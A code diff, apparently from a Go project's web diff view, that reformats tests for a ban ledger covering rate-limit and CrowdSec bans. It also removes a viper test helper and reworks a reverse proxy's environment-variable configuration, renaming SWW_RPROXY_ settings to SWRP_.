ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{Request: request},
|
||||||
|
)
|
||||||
|
|
||||||
cut := long[:256]
|
cut := long[:256]
|
||||||
want := bans.Request{
|
want := bans.Request{
|
||||||
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut,
|
||||||
}
|
}
|
||||||
|
|
||||||
if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want {
|
if ban.Notes.Request != want ||
|
||||||
t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request)
|
ledger.Bans(netblock)[0].Notes.Request != want {
|
||||||
|
t.Errorf(
|
||||||
|
"the notes keep %+v, want each text cut to 256 bytes",
|
||||||
|
ban.Notes.Request,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -482,13 +625,23 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) {
|
|||||||
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
{ASN: "AS64496", ASName: "Example Net", Country: "DE"},
|
||||||
} {
|
} {
|
||||||
got := held[i].Notes
|
got := held[i].Notes
|
||||||
if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country {
|
if got.ASN != want.ASN || got.ASName != want.ASName ||
|
||||||
t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1,
|
got.Country != want.Country {
|
||||||
got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country)
|
t.Errorf(
|
||||||
|
"ban %d's notes give %q, %q and %q, want %q, %q and %q",
|
||||||
|
i+1,
|
||||||
|
got.ASN,
|
||||||
|
got.ASName,
|
||||||
|
got.Country,
|
||||||
|
want.ASN,
|
||||||
|
want.ASName,
|
||||||
|
want.Country,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" {
|
if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" ||
|
||||||
|
notes.Country != "" {
|
||||||
t.Errorf("the ban on %s has %q and %q, want neither",
|
t.Errorf("the ban on %s has %q and %q, want neither",
|
||||||
other, notes.ASN, notes.Country)
|
other, notes.ASN, notes.Country)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -20,29 +20,55 @@ func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) {
|
|||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
|
|
||||||
// The ban that would be made is not made.
|
// The ban that would be made is not made.
|
||||||
would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires,
|
would, wouldBan := ledger.WouldBanForCrowdSec(
|
||||||
scenario, bans.Notes{})
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
if !wouldBan || len(ledger.Bans(netblock)) != 0 {
|
||||||
t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing",
|
t.Errorf(
|
||||||
wouldBan, ledger.Bans(netblock))
|
"would ban %t, and the ledger holds %+v, want true and nothing",
|
||||||
|
wouldBan,
|
||||||
|
ledger.Bans(netblock),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
const reason = "CrowdSec's decision for " + scenario
|
const reason = "CrowdSec's decision for " + scenario
|
||||||
|
|
||||||
ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario,
|
ban, made := ledger.BanForCrowdSec(
|
||||||
bans.Notes{})
|
netblock,
|
||||||
if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec ||
|
midnight(),
|
||||||
!ban.Expires.Equal(expires) || ban.Reason != reason ||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
if !made || !reflect.DeepEqual(ban, would) ||
|
||||||
|
ban.Cause != bans.CauseCrowdSec ||
|
||||||
|
!ban.Expires.Equal(expires) ||
|
||||||
|
ban.Reason != reason ||
|
||||||
ledger.Made(bans.CauseCrowdSec) != 1 {
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+
|
t.Errorf(
|
||||||
"crowdsec until %s", made, ban, would, expires)
|
"made %t the ban %+v, want the one that would be made, %+v, for "+
|
||||||
|
"crowdsec until %s",
|
||||||
|
made,
|
||||||
|
ban,
|
||||||
|
would,
|
||||||
|
expires,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// A second decision on the netblock while the ban lasts makes no other.
|
// A second decision on the netblock while the ban lasts makes no other.
|
||||||
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour),
|
||||||
expires.Add(time.Hour), scenario, bans.Notes{})
|
expires.Add(time.Hour), scenario, bans.Notes{})
|
||||||
if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 {
|
if made || !again.Expires.Equal(expires) ||
|
||||||
t.Errorf("made %t the ban %+v while the first lasts, want none", made, again)
|
ledger.Made(bans.CauseCrowdSec) != 1 {
|
||||||
|
t.Errorf(
|
||||||
|
"made %t the ban %+v while the first lasts, want none",
|
||||||
|
made,
|
||||||
|
again,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -52,7 +78,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
netblock := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
expires := midnight().Add(4 * time.Hour)
|
expires := midnight().Add(4 * time.Hour)
|
||||||
ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{})
|
ledger.BanForCrowdSec(
|
||||||
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
expires,
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
// A request as the ban ends is refused, and leaves it as it is.
|
// A request as the ban ends is refused, and leaves it as it is.
|
||||||
last := expires.Add(-time.Nanosecond)
|
last := expires.Add(-time.Nanosecond)
|
||||||
@@ -60,8 +92,13 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
held, banned, madePermanent := ledger.Check(netblock.Addr(), last)
|
||||||
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
if !banned || madePermanent || !held.Expires.Equal(expires) ||
|
||||||
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) {
|
||||||
t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+
|
t.Errorf(
|
||||||
"refused under the ban as it was", banned, held, madePermanent)
|
"as the ban ends, banned %t with %+v, made permanent %t, want "+
|
||||||
|
"refused under the ban as it was",
|
||||||
|
banned,
|
||||||
|
held,
|
||||||
|
madePermanent,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned {
|
||||||
@@ -69,7 +106,9 @@ func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) {
|
func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(
|
||||||
|
t *testing.T,
|
||||||
|
) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
@@ -78,13 +117,20 @@ func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T)
|
|||||||
// Three times the three days would be permanent; a limit broken as the
|
// Three times the three days would be permanent; a limit broken as the
|
||||||
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
// ban for CrowdSec's decision ends bans for an hour, as a first broken
|
||||||
// limit does.
|
// limit does.
|
||||||
crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day),
|
crowdSec, _ := ledger.BanForCrowdSec(
|
||||||
scenario, bans.Notes{})
|
netblock,
|
||||||
|
midnight(),
|
||||||
|
midnight().Add(3*day),
|
||||||
|
scenario,
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{})
|
||||||
|
|
||||||
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
if limit.Expires.Sub(limit.Start) != time.Hour ||
|
||||||
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) {
|
||||||
t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
t.Errorf(
|
||||||
limit)
|
"the ban for a limit is %+v, want one of an hour after one for crowdsec",
|
||||||
|
limit,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) {
|
|||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
|
|
||||||
// Two bans before the value is read leave one.
|
// Two bans before the value is read leave one.
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{})
|
ledger.BanForLimit(
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{})
|
netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("203.0.113.11/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
wantChanged(t, ledger, true)
|
wantChanged(t, ledger, true)
|
||||||
wantChanged(t, ledger, false)
|
wantChanged(t, ledger, false)
|
||||||
}
|
}
|
||||||
@@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) {
|
|||||||
|
|
||||||
got := make([]string, 0, len(snapshot))
|
got := make([]string, 0, len(snapshot))
|
||||||
for _, ban := range snapshot {
|
for _, ban := range snapshot {
|
||||||
got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen))
|
got = append(
|
||||||
|
got,
|
||||||
|
ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{
|
want := []string{
|
||||||
@@ -77,7 +88,10 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
after := bans.New(defaultParams())
|
after := bans.New(defaultParams())
|
||||||
after.Load(before.Snapshot())
|
after.Load(before.Snapshot())
|
||||||
|
|
||||||
_, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second))
|
_, banned, _ := after.Check(
|
||||||
|
netblock.Addr(),
|
||||||
|
ban.Expires.Add(-time.Second),
|
||||||
|
)
|
||||||
if !banned {
|
if !banned {
|
||||||
t.Error("the loaded ban does not refuse")
|
t.Error("the loaded ban does not refuse")
|
||||||
}
|
}
|
||||||
@@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) {
|
|||||||
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{})
|
||||||
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
if again.Expires.Sub(again.Start) != 3*time.Hour ||
|
||||||
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
t.Errorf(
|
||||||
again.Expires.Sub(again.Start), again.Notes.EarlierBans)
|
"the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit",
|
||||||
|
again.Expires.Sub(again.Start),
|
||||||
|
again.Notes.EarlierBans,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -98,10 +115,20 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) {
|
|||||||
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
// ban covers, beside a ban the ledger makes on one IPv4 address.
|
||||||
ledger := bans.New(defaultParams())
|
ledger := bans.New(defaultParams())
|
||||||
ledger.Load([]bans.Ban{
|
ledger.Load([]bans.Ban{
|
||||||
{Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()},
|
{
|
||||||
{Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()},
|
Netblock: netip.MustParsePrefix("203.0.113.9/24"),
|
||||||
|
Start: midnight(),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Netblock: netip.MustParsePrefix("2001:db8::1/48"),
|
||||||
|
Start: midnight(),
|
||||||
|
},
|
||||||
})
|
})
|
||||||
ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{})
|
ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("198.51.100.7/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
for client, want := range map[string]bool{
|
for client, want := range map[string]bool{
|
||||||
"203.0.113.0": true,
|
"203.0.113.0": true,
|
||||||
@@ -138,7 +165,10 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
// As when an admin adds a permanent ban to bans.json with a start
|
// As when an admin adds a permanent ban to bans.json with a start
|
||||||
// before that of the netblock's ban that has ended.
|
// before that of the netblock's ban that has ended.
|
||||||
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
netblock := netip.MustParsePrefix("203.0.113.0/24")
|
||||||
permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)}
|
permanent := bans.Ban{
|
||||||
|
Netblock: netblock,
|
||||||
|
Start: midnight().Add(-time.Hour),
|
||||||
|
}
|
||||||
ended := bans.Ban{
|
ended := bans.Ban{
|
||||||
Netblock: netblock,
|
Netblock: netblock,
|
||||||
Start: midnight(),
|
Start: midnight(),
|
||||||
@@ -153,20 +183,31 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) {
|
|||||||
|
|
||||||
ban, banned, _ := ledger.Find(client, now)
|
ban, banned, _ := ledger.Find(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned)
|
t.Errorf(
|
||||||
|
"find gives %+v and %t, want the permanent ban",
|
||||||
|
ban,
|
||||||
|
banned,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
ban, banned, _ = ledger.Check(client, now)
|
ban, banned, _ = ledger.Check(client, now)
|
||||||
if !banned || !ban.Permanent() {
|
if !banned || !ban.Permanent() {
|
||||||
t.Errorf("the client is refused: %t, under %+v, want under the permanent ban",
|
t.Errorf(
|
||||||
banned, ban)
|
"the client is refused: %t, under %+v, want under the permanent ban",
|
||||||
|
banned,
|
||||||
|
ban,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// A limit broken now makes no shorter ban over the permanent one.
|
// A limit broken now makes no shorter ban over the permanent one.
|
||||||
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
ban, _ = ledger.BanForLimit(netblock, now, bans.Notes{})
|
||||||
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
if !ban.Permanent() || len(ledger.Bans(netblock)) != 2 {
|
||||||
t.Errorf("a broken limit returned %+v and left the netblock %d bans, "+
|
t.Errorf(
|
||||||
"want the permanent ban and 2", ban, len(ledger.Bans(netblock)))
|
"a broken limit returned %+v and left the netblock %d bans, "+
|
||||||
|
"want the permanent ban and 2",
|
||||||
|
ban,
|
||||||
|
len(ledger.Bans(netblock)),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -195,7 +236,11 @@ func TestNextBanWorkedOutFromTheBanThatEndedLast(t *testing.T) {
|
|||||||
// Once both have ended, a limit broken within the repeat window bans
|
// Once both have ended, a limit broken within the repeat window bans
|
||||||
// for three times the 9 hours, and the notes count the two bans
|
// for three times the 9 hours, and the notes count the two bans
|
||||||
// before the 9-hour one and it, for a limit, and the admin's.
|
// before the 9-hour one and it, for a limit, and the admin's.
|
||||||
ban, _ := ledger.BanForLimit(netblock, nineHours.Expires.Add(time.Hour), bans.Notes{})
|
ban, _ := ledger.BanForLimit(
|
||||||
|
netblock,
|
||||||
|
nineHours.Expires.Add(time.Hour),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
if ban.Expires.Sub(ban.Start) != 27*time.Hour ||
|
||||||
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
ban.Notes.EarlierBans != (bans.EarlierBans{Limit: 3, Admin: 1}) {
|
||||||
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
t.Errorf("the next ban lasts %s with earlier bans %+v, "+
|
||||||
@@ -226,7 +271,10 @@ func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) {
|
|||||||
|
|
||||||
held := ledger.Snapshot()
|
held := ledger.Snapshot()
|
||||||
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
if len(held) != 1 || !reflect.DeepEqual(held[0], later) {
|
||||||
t.Errorf("the ledger holds %+v, want only the ban that began later", held)
|
t.Errorf(
|
||||||
|
"the ledger holds %+v, want only the ban that began later",
|
||||||
|
held,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -256,16 +304,25 @@ func TestLoadReplacesTheBansHeld(t *testing.T) {
|
|||||||
// bans.json is taken in, that ban is lifted.
|
// bans.json is taken in, that ban is lifted.
|
||||||
ledger.Load([]bans.Ban{kept})
|
ledger.Load([]bans.Ban{kept})
|
||||||
|
|
||||||
_, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.9"), midnight())
|
_, banned, _ := ledger.Check(
|
||||||
|
netip.MustParseAddr("203.0.113.9"),
|
||||||
|
midnight(),
|
||||||
|
)
|
||||||
if banned {
|
if banned {
|
||||||
t.Error("a ban left out of the second load still refuses")
|
t.Error("a ban left out of the second load still refuses")
|
||||||
}
|
}
|
||||||
|
|
||||||
// The ledger holds one ban, so it makes two more without dropping any.
|
// The ledger holds one ban, so it makes two more without dropping any.
|
||||||
first, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(),
|
first, _ := ledger.BanForLimit(
|
||||||
bans.Notes{})
|
netip.MustParsePrefix("198.51.100.7/32"),
|
||||||
second, _ := ledger.BanForLimit(netip.MustParsePrefix("198.51.100.8/32"), midnight(),
|
midnight(),
|
||||||
bans.Notes{})
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
second, _ := ledger.BanForLimit(
|
||||||
|
netip.MustParsePrefix("198.51.100.8/32"),
|
||||||
|
midnight(),
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
want := []bans.Ban{first, second, kept}
|
want := []bans.Ban{first, second, kept}
|
||||||
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
if got := ledger.Snapshot(); !reflect.DeepEqual(got, want) {
|
||||||
|
|||||||
+20
-2351
File diff suppressed because it is too large.
Load diff
@@ -1,16 +0,0 @@
|
|||||||
// Package configtest gives the tests of the packages that read settings the
|
|
||||||
// settings they choose.
|
|
||||||
package configtest
|
|
||||||
|
|
||||||
import "github.com/spf13/viper"
|
|
||||||
|
|
||||||
// Viper returns a viper holding each of settings, as the viper config.NewViper
|
|
||||||
// returns holds a process's environment.
|
|
||||||
func Viper(settings map[string]string) *viper.Viper {
|
|
||||||
v := viper.New()
|
|
||||||
for name, value := range settings {
|
|
||||||
v.Set(name, value)
|
|
||||||
}
|
|
||||||
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
+117
-38
@@ -8,39 +8,38 @@ import (
|
|||||||
"net/netip"
|
"net/netip"
|
||||||
"net/url"
|
"net/url"
|
||||||
"strconv"
|
"strconv"
|
||||||
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"github.com/spf13/viper"
|
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
// RProxy is the settings of `sww rproxy`. A size or time limit of zero
|
||||||
// is off.
|
// is off.
|
||||||
type RProxy struct {
|
type RProxy struct {
|
||||||
// ListenAddr is where rproxy listens (SWW_RPROXY_LISTEN_ADDR).
|
// ListenAddr is where rproxy listens (SWRP_LISTEN_ADDR).
|
||||||
ListenAddr string
|
ListenAddr string
|
||||||
// UpstreamURL is the app (SWW_RPROXY_UPSTREAM_URL).
|
// UpstreamURL is the app (SWRP_UPSTREAM_URL).
|
||||||
UpstreamURL *url.URL
|
UpstreamURL *url.URL
|
||||||
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
// TrustedProxies are the netblocks whose X-Forwarded-For is believed
|
||||||
// (SWW_RPROXY_TRUSTED_PROXIES).
|
// (SWRP_TRUSTED_PROXIES).
|
||||||
TrustedProxies []netip.Prefix
|
TrustedProxies []netip.Prefix
|
||||||
// WAFBackend is waf's URL (SWW_RPROXY_WAF_BACKEND).
|
// WAFBackend is waf's URL (SWRP_WAF_BACKEND).
|
||||||
WAFBackend *url.URL
|
WAFBackend *url.URL
|
||||||
// Timeout is how long rproxy waits for waf's answer to a question,
|
// Timeout is how long rproxy waits for waf's answer to a question,
|
||||||
// and to a report (SWW_RPROXY_TIMEOUT_MS). It cannot be off.
|
// and to a report (SWRP_TIMEOUT_MS). It cannot be off.
|
||||||
Timeout time.Duration
|
Timeout time.Duration
|
||||||
// DefaultDisposition is what is done with a request when waf cannot be
|
// DefaultDisposition is what is done with a request when waf cannot be
|
||||||
// connected to, does not answer at all, or does not answer within Timeout:
|
// connected to, does not answer at all, or does not answer within Timeout:
|
||||||
// allow or deny (SWW_RPROXY_DEFAULT_DISPOSITION).
|
// allow or deny (SWRP_DEFAULT_DISPOSITION).
|
||||||
DefaultDisposition string
|
DefaultDisposition string
|
||||||
// MaxRequestSize is the largest request body (SWW_RPROXY_MAX_REQUEST_SIZE), and
|
// MaxRequestSize is the largest request body (SWRP_MAX_REQUEST_SIZE), and
|
||||||
// MaxResponseSize the largest response body (SWW_RPROXY_MAX_RESPONSE_SIZE).
|
// MaxResponseSize the largest response body (SWRP_MAX_RESPONSE_SIZE).
|
||||||
MaxRequestSize int64
|
MaxRequestSize int64
|
||||||
MaxResponseSize int64
|
MaxResponseSize int64
|
||||||
// MaxRequestTime bounds sending the whole request: the visitor's request
|
// MaxRequestTime bounds sending the whole request: the visitor's request
|
||||||
// line and headers, and then, from their end, its body on its way to the
|
// line and headers, and then, from their end, its body on its way to the
|
||||||
// app (SWW_RPROXY_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
// app (SWRP_MAX_REQUEST_TIME_MS). MaxResponseTime bounds the answer, from
|
||||||
// the end of the request to its last byte reaching the visitor
|
// the end of the request to its last byte reaching the visitor
|
||||||
// (SWW_RPROXY_MAX_RESPONSE_TIME_MS).
|
// (SWRP_MAX_RESPONSE_TIME_MS).
|
||||||
MaxRequestTime time.Duration
|
MaxRequestTime time.Duration
|
||||||
MaxResponseTime time.Duration
|
MaxResponseTime time.Duration
|
||||||
|
|
||||||
@@ -49,36 +48,62 @@ type RProxy struct {
|
|||||||
settings []slog.Attr
|
settings []slog.Attr
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// defaultUpstreamURL is the default of SWRP_UPSTREAM_URL.
|
||||||
|
const defaultUpstreamURL = "http://127.0.0.1:8081"
|
||||||
|
|
||||||
|
// privateRanges are the private address ranges, the default trusted
|
||||||
|
// proxies.
|
||||||
|
const privateRanges = "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"
|
||||||
|
|
||||||
var (
|
var (
|
||||||
|
errNotUpstreamURL = errors.New(
|
||||||
|
"is not a URL with only a scheme, a host and an optional port, " +
|
||||||
|
"such as http://127.0.0.1:8081")
|
||||||
errNeedsWAFBackend = errors.New(
|
errNeedsWAFBackend = errors.New(
|
||||||
"is required: it is waf's URL, such as http://waf:8080")
|
"is required: it is waf's URL, such as http://waf:8080")
|
||||||
errNotDisposition = errors.New("is not allow or deny")
|
errNotDisposition = errors.New("is not allow or deny")
|
||||||
errNotMilliseconds = errors.New(
|
errNotMilliseconds = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 2000")
|
"is not a whole number of milliseconds above zero, such as 2000")
|
||||||
errNotMillisecondsOrOff = errors.New(
|
errNotMillisecondsOrOff = errors.New(
|
||||||
"is not a whole number of milliseconds above zero, such as 60000, or off")
|
"is not a whole number of milliseconds above zero, such as 60000, or off",
|
||||||
|
)
|
||||||
)
|
)
|
||||||
|
|
||||||
// RProxyFromEnvironment reads rproxy's settings through v, normally the viper
|
// RProxyFromEnvironment reads rproxy's settings with lookupEnv, normally
|
||||||
// NewViper returns, bound to the process's environment. A setting that is not
|
// os.LookupEnv. A setting that is not set takes its default, and
|
||||||
// set takes its default, and SWW_RPROXY_WAF_BACKEND, which has none, must be
|
// SWRP_WAF_BACKEND, which has none, must be set. A setting that is set but
|
||||||
// set. A setting may instead be given as a file: the variable named by the
|
// invalid is an error that names it. Since rproxy never touches disk, its
|
||||||
// setting's name with _FILE added names the file, which is read now. A setting
|
// settings have no _FILE form.
|
||||||
// that is set but invalid is an error that names it.
|
func RProxyFromEnvironment(
|
||||||
func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
lookupEnv func(string) (string, bool),
|
||||||
env := &environment{v: v}
|
) (*RProxy, error) {
|
||||||
|
env := &environment{lookupEnv: withoutFileForms(lookupEnv)}
|
||||||
cfg := &RProxy{
|
cfg := &RProxy{
|
||||||
ListenAddr: env.address("SWW_RPROXY_LISTEN_ADDR"),
|
ListenAddr: env.address("SWRP_LISTEN_ADDR"),
|
||||||
UpstreamURL: env.appURL("SWW_RPROXY_UPSTREAM_URL", defaultUpstreamURL),
|
UpstreamURL: env.appURL(
|
||||||
TrustedProxies: env.netblocks("SWW_RPROXY_TRUSTED_PROXIES", privateRanges),
|
"SWRP_UPSTREAM_URL",
|
||||||
WAFBackend: env.wafBackend("SWW_RPROXY_WAF_BACKEND"),
|
defaultUpstreamURL,
|
||||||
Timeout: env.milliseconds("SWW_RPROXY_TIMEOUT_MS", "2000"),
|
),
|
||||||
DefaultDisposition: env.disposition("SWW_RPROXY_DEFAULT_DISPOSITION", "allow"),
|
TrustedProxies: env.netblocks(
|
||||||
MaxRequestSize: env.size("SWW_RPROXY_MAX_REQUEST_SIZE", "100M"),
|
"SWRP_TRUSTED_PROXIES",
|
||||||
MaxResponseSize: env.size("SWW_RPROXY_MAX_RESPONSE_SIZE", "1G"),
|
privateRanges,
|
||||||
MaxRequestTime: env.millisecondsOrOff("SWW_RPROXY_MAX_REQUEST_TIME_MS", "60000"),
|
),
|
||||||
|
WAFBackend: env.wafBackend("SWRP_WAF_BACKEND"),
|
||||||
|
Timeout: env.milliseconds("SWRP_TIMEOUT_MS", "2000"),
|
||||||
|
DefaultDisposition: env.disposition(
|
||||||
|
"SWRP_DEFAULT_DISPOSITION",
|
||||||
|
"allow",
|
||||||
|
),
|
||||||
|
MaxRequestSize: env.size("SWRP_MAX_REQUEST_SIZE", "100M"),
|
||||||
|
MaxResponseSize: env.size("SWRP_MAX_RESPONSE_SIZE", "1G"),
|
||||||
|
MaxRequestTime: env.millisecondsOrOff(
|
||||||
|
"SWRP_MAX_REQUEST_TIME_MS",
|
||||||
|
"60000",
|
||||||
|
),
|
||||||
MaxResponseTime: env.millisecondsOrOff(
|
MaxResponseTime: env.millisecondsOrOff(
|
||||||
"SWW_RPROXY_MAX_RESPONSE_TIME_MS", "1800000"),
|
"SWRP_MAX_RESPONSE_TIME_MS",
|
||||||
|
"1800000",
|
||||||
|
),
|
||||||
}
|
}
|
||||||
|
|
||||||
if env.err != nil {
|
if env.err != nil {
|
||||||
@@ -90,15 +115,15 @@ func RProxyFromEnvironment(v *viper.Viper) (*RProxy, error) {
|
|||||||
return cfg, nil
|
return cfg, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// RProxyListenAddrAndUpstreamURL reads only SWW_RPROXY_LISTEN_ADDR and
|
// RProxyListenAddrAndUpstreamURL reads only SWRP_LISTEN_ADDR and
|
||||||
// SWW_RPROXY_UPSTREAM_URL. The health check in rproxy's container needs no other
|
// SWRP_UPSTREAM_URL. The health check in rproxy's container needs no other
|
||||||
// setting, so it reads no other.
|
// setting, so it reads no other.
|
||||||
